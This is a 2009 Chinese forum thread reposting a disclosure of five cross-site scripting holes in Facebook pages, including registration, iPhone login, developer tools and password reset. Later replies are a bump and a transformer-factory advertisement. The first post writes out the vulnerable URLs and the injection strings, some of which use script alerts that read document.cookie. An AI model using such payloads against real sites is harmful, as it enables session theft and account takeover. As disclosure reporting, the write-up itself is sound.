强直性脊柱炎患者之家论坛【娱乐区】E网地带 → [分享]详解Facebook最新高危XSS安全漏洞


  共有20835人关注过本帖树形打印

主题:[分享]详解Facebook最新高危XSS安全漏洞

美女呀,离线,留言给我吧!
月下桂花
  1楼 个性首页 | 博客 | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信
等级:新手上路 帖子:27 积分:362 威望:0 精华:0 注册:2008/12/3 21:05:44
[分享]详解Facebook最新高危XSS安全漏洞  发帖心情 Post By:2009/2/8 10:11:31

 

近期,Facebook惊现高危XSS安全漏洞,致使其用户遭受巨大威胁。本文将对这些漏洞发布进行详细介绍。  

Facebook在2008年12月15日与2009年1月4日被曝出一系列高危XSS安全漏洞,Facebook众多的功能同时遭受牵连,

如新用户注册、iPhone登录、密码重新设定,等等。
  
攻击者能够利用这些XSS漏洞攻击数以百万计的Facebook用户,例如散播恶意软件、广告软件和间谍软件等等。

拜这些高危跨站点脚本攻击漏洞所赐,Facebook用户可能受到钓鱼攻击并导致ID失窃。

截至本月5号为止,这些漏洞尚未得到修复,这些高危漏洞已经对用户的隐私构成了高度的威胁。
  
安全研究人员最近发现的有XSS漏洞的页面包括,开发人员页面、新用户注册页面、iphone登录页面以及应用程序页面。

攻击者能够利用这些XSS漏洞攻击数以百万计的Facebook用户,例如散播恶意软件、广告软件和间谍软件等等。

对于用户来说,为了远离这些威胁的攻击最好不要接受不认识的人员加为好友的请求,千万不要点击不明来源的链接。
  
原因是Facebook的个人概况中包含了许多个人信息,“好友”通过则这些信息足以发动有针对性的钓鱼攻击,

或者向您发送有针对性的垃圾邮件。但是如果您点击了一个共享链接结果会怎样呢?

很明显,对他们来说,您就不会有什么隐私了!!!为了安全和隐私起见,一定要注意您在社交网络上的个人简介。
  
下面我们对这些最新漏洞分析进行介绍:
  
1号XSS漏洞:
  
所在位置:http://www.new.facebook.com/r.php
  
问题页面的镜像:http://www.xssed.com/mirror/50947/
  
攻击性POST:reg_email__="foo="bar
  
2号XSS漏洞
  
所在位置:
  
https://login.facebook.com/login.php?iphone&next=http%3A%2F%2Fiphone.facebook.com%2F
  
问题页面的镜像:http://www.xssed.com/mirror/53885/
  
攻击性POST:
  
email=biz%22%3E%3Cscript%3Ealert%28%27tohellwithgeorgia%27%29%3C%2Fscript%3E%3C%22&pass=greetz2evilghost&next=http%3A%2F%2Fiphone.facebook.com%2F&login=Login
  
3号XSS漏洞
  
所在位置及攻击字符串:
  
http://apps.facebook.com/blognetworks/searchpage.php?tag=%22%3E%3Cscript%3Ealert(%22DaiMon%22)%3C/script%3E
  
问题页面的镜像:http://www.xssed.com/mirror/55268/
  
4号XSS漏洞:
  
所在位置:http://developers.facebook.com/tools.php?fbml
  
问题页面的镜像:http://www.xssed.com/mirror/55392/
  
攻击性POST:
  
profile=1299125444&position=wide&api_key=%27%22%3E%3C%2Ftitle%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E%3E%3Cmarquee%3E%3Ch1%3EXSS+by+p3lo%3C%2Fh1%3E%3C%2Fmarquee%3E+&fbml=
  
Hey you all! Our best wishes for 2009!!! :) ;)
  
5号XSS漏洞:
  
这是Facebook的Reset Password页面近期再次出现危险的跨站点脚本攻击安全漏洞。

恶意用户可以网其中诸如代码并窃取数以百万计的Facebook用户的敏感个人信息。

但愿这个漏洞能够得到迅速修复,好在以前他们的反应还是很迅速的。
  
所在位置:
  
http://www.facebook.com/reset.php?locale=en_GB%22%3E%3Cscript%3Ealert(1)%3C/script%3E%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
  
问题页面的镜像:
  
http://www.xssed.com/mirror/55951/

文杰巴渝特产之家 支持(0中立(0反对(0回到顶部
帅哥哟,离线,有人找我吗?
2564eidm4654
  2楼 个性首页 | 博客 | QQ | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信
等级:新手上路 帖子:17 积分:265 威望:0 精华:0 注册:2011/4/11 16:15:57
  发帖心情 Post By:2011/5/11 13:22:50

顶一下,提高一点知名度                                                                                                                                                                                                                                                                                  图片点击可在新窗口打开查看 兄弟搬家公司电话

丹东海鲜特产! 支持(0中立(0反对(1回到顶部
帅哥哟,离线,有人找我吗?
jinghu6663
  3楼 个性首页 | 博客 | QQ | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信
等级:新手上路 帖子:3 积分:75 威望:0 精华:0 注册:2012/9/18 14:02:26
京湖电器  发帖心情 Post By:2012/9/18 14:32:03

北京市京湖电器设备厂座落于风景优美、交通便利的北京市通州,是一家集研发、生产、销售电力变压器、干式变压器、电抗器及特种变压器等为一体的专业生产厂家,拥有齐全的生产加工设备,完善的试验检测手段。公司主要产品有:35KV级以下各种电力变压器,单相配电压器、S(Z)9、S(Z)11系列三相配电变压器、SH15非晶合金配电变压器、SC(B)10、SG(B)10系列干式变压器、SZ11有载调压变压,S11T调容量配电变压器,低损耗电炉变压器,SGB11干式变压器,双分裂BSG干式变压器,组合式变压器,箱式变电站,整流变压器,三分裂、移相变压器,接地变压器,美式箱变、CKSC、CKSG系列干式铁芯电抗器、滤波电抗器、CKSK干式空心电抗器,整流、变频、节能、补偿、滤波、电炉、盐浴炉等行业用各种隔离、自耦变压器、电抗器,产品国内外销售。同时可根据客户需要设计生产各种特殊要求的变压器。本公司公司产品已销往全国各地的电力、油田、矿山、铁路部门及企业,并出口泰国,深受用户的好评。现有多家供电部门、变压器厂与我公司进行器身合作。   本公司是有近20多年的配变生产历史和较雄厚的物质技术基础,企业现有建筑面积8600平方米。公司具有领先于国际水平的真空、正压浸漆设备、铁芯卷绕设备、线圈缠绕设备全自动试验设备;拥有一支水平较高的中、高级科技队伍,职工96人,其中高中级技术人员20余人。当他成立的时候,京湖人的愿望就是创立一家产品一流、质量过硬、诚信创拳的精品企业,现在创建者的愿望变成了现实。   京湖电器,是凭技、工、贸为一体的变压器、箱式变电站、高低压开关柜及配件的专业制造公司,公司按照IS09001:2000生产、服务的质量管理体系对每一道工序进行严格的程序管理,使每一件京湖电器产品做到了质量上的保证。 客户的满意是我们的唯一准则,定将贯穿于设计--生产--出厂--售后服务的各个阶段。只有客户对我的产品得到满意,客户和我们才都是羸家。社会效益和企业效益的统一是公司的经营目标。公司全体员工本着严谨、敬业、诚信、服务的行为准则,愿与国内外广大客户建立和保持密切合作关系。竭诚欢迎新老客户光临惠顾。 电话:01084391297 84391591 网址:www.jinghudianqi.com 图片点击可在新窗口打开查看欢迎咨询

文杰巴渝特产之家 支持(0中立(0反对(0回到顶部